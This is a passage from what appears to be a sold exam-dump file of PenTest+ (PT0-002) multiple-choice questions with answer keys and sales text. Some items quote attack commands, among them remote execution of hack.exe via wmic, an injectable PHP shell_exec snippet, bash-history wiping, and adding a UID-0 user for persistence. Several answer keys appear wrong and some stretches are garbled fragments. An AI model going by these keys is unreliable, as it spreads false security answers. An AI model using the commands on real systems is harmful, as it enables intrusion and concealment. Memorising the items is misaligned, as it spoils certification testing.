80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

Answer: BD

NEW QUESTION 153

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position.

Which of the following actions, if performed, would be ethical within the scope of the assessment?

- A. Exploiting a configuration weakness in the SQL database
- B. Intercepting outbound TLS traffic
- C. Gaining access to hosts by injecting malware into the enterprise-wide update server
- D. Leveraging a vulnerability on the internal CA to issue fraudulent client certificates
- E. Establishing and maintaining persistence on the domain controller

Answer: B

NEW QUESTION 158

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

Answer: CD

Explanation:

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

NEW QUESTION 163

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:


```
if(isset ($_POST ['item']))[  
    echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);  
}
```

Which of the following combinations of tools would the penetration tester use to exploit this script?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 164

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

Answer: B

NEW QUESTION 168

During an engagement, a penetration tester found the following list of strings inside a file:

```
3af068faa81326ffe6ca48e2ab36a779  
48ec2f4f526303a9ded67938e6ce11c6  
9493bf035c534197d9810a5e65a10632  
C847b4a2e76ec1f9cbbbe30d2046d5e8  
ed225542767a810e6fcee bf640164b140  
cfbe1fdd6e6b0c5c9abd8c947f272ef4  
c05cbc5a69bcc91f56a7e0a6c391ad79  
9ee3564cbf15421ebabc43dcb67949ad  
5a2ad0bcb902e20c4efcf057b01050be  
4865a2ed25ed18515b7e97beb2b40346  
b0236938a6518fc65b72159687e3a27b  
9c96354712595ef2ff96675496d3a464  
a5ab3f6c6159b85209ea0c186531a49f  
9b38816e791f1400245f4c629a503bc8  
d12e624a20d54fd3b34b89ee7169df17
```

Which of the following is the BEST technique to determine the known plaintext of the strings?

- A. Dictionary attack
- B. Rainbow table attack
- C. Brute-force attack
- D. Credential-stuffing attack

Answer: B

NEW QUESTION 169

A customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?

- A. To meet PCI DSS testing requirements
- B. For testing of the customer's SLA with the ISP
- C. Because of concerns regarding bandwidth limitations
- D. To ensure someone is available if something goes wrong

Answer: D

NEW QUESTION 170

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

_ Potentially risky methods: TRACE
_http-server-header: Microsoft-IIS/8.5
_http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

- A. ftp 192.168.53.23
- B. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest
- C. ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
- D. curl -X TRACE https://192.168.53.23:8443/index.aspx
- E. nmap --script vuln -sV 192.168.53.23

Answer: A

NEW QUESTION 174

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- > Have a full TCP connection
- > Send a "hello" payload
- > Wait for a response
- > Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

- A. Run nmap -Pn -sV --script vuln <IP address>.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.
- D. Perform a credentialed scan with Nessus.

Answer: C

Explanation:

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language) to automate a wide variety of networking tasks. <https://nmap.org>

NEW QUESTION 178

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

Answer: A

NEW QUESTION 182

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

- A. Send deauthentication frames to the stations.
- B. Perform jamming on all 2.4GHz and 5GHz channels.
- C. Set the malicious AP to broadcast within dynamic frequency selection channels.
- D. Modify the malicious AP configuration to not use a pre-shared key.

Answer: A

Explanation:

<https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax>

NEW QUESTION 183

168.2.2

3: #!/usr/bin/python export \$PORTS = 21,22 for \$PORT in \$PORTS: try:

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 185

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

- A. Specially craft and deploy phishing emails to key company leaders.
- B. Run a vulnerability scan against the company's external website.
- C. Runtime the company's vendor/supply chain.
- D. Scrape web presences and social-networking sites.

Answer: D

NEW QUESTION 188

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

Answer: A

Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

NEW QUESTION 190

A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.

Which of the following remediation techniques would be the BEST to recommend? (Choose two.)

- A. Closing open services
- B. Encryption users' passwords
- C. Randomizing users' credentials
- D. Users' input validation
- E. Parameterized queries
- F. Output encoding

Answer: DE

NEW QUESTION 195

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.

Which of the following is the BEST action for the penetration tester to take?

- A. Utilize the tunnel as a means of pivoting to other internal devices.
- B. Disregard the IP range, as it is out of scope.
- C. Stop the assessment and inform the emergency contact.
- D. Scan the IP range for additional systems to exploit.

Answer: D

NEW QUESTION 200

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

- A. MSA
- B. NDA
- C. SOW
- D. ROE

Answer: B

NEW QUESTION 205

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

- A. Analyze the malware to see what it does.
- B. Collect the proper evidence and then remove the malware.
- C. Do a root-cause analysis to find out how the malware got in.
- D. Remove the malware immediately.
- E. Stop the assessment and inform the emergency contact.

Answer: E

NEW QUESTION 208

A penetration tester has prepared the following phishing email for an upcoming penetration test:

Coworkers,

A security incident recently occurred on company property.

All employees are required to abide by company policies at all times. To ensure maximum compliance, all employees are required to sign the Security Policy Acceptance form (on-line here) before the end of this month.

Please reach out if you have any questions or concerns.

Human Resources

Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?

- A. Familiarity and likeness
- B. Authority and urgency
- C. Scarcity and fear
- D. Social proof and greed

Answer: B

NEW QUESTION 213

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

Answer: D

NEW QUESTION 214

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

Answer: C

NEW QUESTION 219

A penetration tester gains access to a system and establishes persistence, and then runs the following commands:

```
cat /dev/null > temp
```

```
touch -r .bash_history temp mv temp .bash_history
```

Which of the following actions is the tester MOST likely performing?

- A. Redirecting Bash history to /dev/null
- B. Making a copy of the user's Bash history for further enumeration
- C. Covering tracks by clearing the Bash history
- D. Making decoy files on the system to confuse incident responders

Answer: C

NEW QUESTION 223

A client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?

- A. Redact identifying information and provide a previous customer's documentation.
- B. Allow the client to only view the information while in secure spaces.
- C. Determine which reports are no longer under a period of confidentiality.
- D. Provide raw output from penetration testing tools.

Answer: C

Explanation:

Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer's systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer's consent.

NEW QUESTION 224

```

Line 1 #!/usr/bin/python3
Line 2 from scapy.all import *
Line 3 a = IP(dst='10.10.10.10')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname='www.comptia.org'))
Line 4 b = srl(a, verbose=0)
Line 5 for x in range(b[DNS].count):
Line 6     print(b[DNSRR][x].rdata

```

A. Retrieves the start-of-authority information for the zone on DNS server 10.10.10.10
B. Performs a single DNS query for www.comptia.org and prints the raw data output
C. Loops through variable b to count the results returned for the DNS query and prints that count to screen
D. Prints each DNS query result already stored in variable b

[illegible]

- A. Decode the authorization header using UTF-8.
- B. Decrypt the authorization header using bcrypt.
- C. Decode the authorization header using Base64.
- D. Decrypt the authorization header using AES.

A. Nmap
B. Nikto
C. Cain and Abel
D. Ethercap

visit - <https://www.surepassexam.com>

- C. The expected time frame of the assessment
- D. The proper emergency contacts for the client

Answer: D

NEW QUESTION 233

A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

- A. Direct-to-origin
- B. Cross-site scripting
- C. Malware injection
- D. Credential harvesting

Answer: D

NEW QUESTION 236

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

- A. `nmap -f -sV -p80 192.168.1.20`
- B. `nmap -sS -sL -p80 192.168.1.20`
- C. `nmap -A -T4 -p80 192.168.1.20`
- D. `nmap -O -v -p80 192.168.1.20`

Answer: C

NEW QUESTION 237

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. `nmap 192.168.1.1-5 -PU22-25,80`
- B. `nmap 192.168.1.1-5 -PA22-25,80`
- C. `nmap 192.168.1.1-5 -PS22-25,80`
- D. `nmap 192.168.1.1-5 -Ss22-25,80`

Answer: C

Explanation:

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

NEW QUESTION 242

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.

Which of the following actions should the tester take?

- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Incorporate the newly identified method of compromise into the red team's approach.
- C. Create a detailed document of findings before continuing with the assessment.
- D. Halt the assessment and follow the reporting procedures as outlined in the contract.

Answer: D

NEW QUESTION 247

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

Answer: B

NEW QUESTION 249

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. `nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan`
- B. `nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan`
- C. `nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan`
- D. `nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan`

Answer:

C

NEW QUESTION 251

A company provided the following network scope for a penetration test:

- * 169.137.1.0/24
- * 221.10.1.0/24
- * 149.14.1.0/24

A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?

- A. The company that requested the penetration test
- B. The penetration testing company
- C. The target host's owner
- D. The penetration tester
- E. The subcontractor supporting the test

Answer: A

NEW QUESTION 256

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

- A. tcpdump -i eth01 arp and arp[6:2] == 2
- B. arp -s 192.168.1.63 60-36-DD-A6-C5-33
- C. ipconfig /all findstr /v 00-00-00 | findstr Physical
- D. route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1

Answer: B

NEW QUESTION 258

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

- A. SOW
- B. SLA
- C. MSA
- D. NDA

Answer: A

NEW QUESTION 261

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

- A. Halt the penetration test.
- B. Contact law enforcement.
- C. Deconflict with the penetration tester.
- D. Assume the alert is from the penetration test.

Answer: B

NEW QUESTION 262

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "no-password"
- C. "cisco-ios" "default-passwords"
- D. "cisco-ios" "last-modified"

Answer: B

NEW QUESTION 267

An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems.

Which of the following is the penetration tester trying to accomplish?

- A. Uncover potential criminal activity based on the evidence gathered.
- B. Identify all the vulnerabilities in the environment.
- C. Limit invasiveness based on scope.
- D. Maintain confidentiality of the findings.

Answer: C

NEW QUESTION 269

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Change the password of the root user and revert after the test.

Answer: C

Explanation:

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

NEW QUESTION 274

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

- A. <#
- B. <\$
- C. ##
- D. #
- E. #!

Answer: E

NEW QUESTION 278

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

PT0-002 Practice Exam Features:

- * PT0-002 Questions and Answers Updated Frequently
- * PT0-002 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-002 Most Realistic Questions that Guarantee you a Pass on Your First Try
- * PT0-002 Practice Test Questions in Multiple Choice Formats and Updates for 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-002 Practice Test Here](#)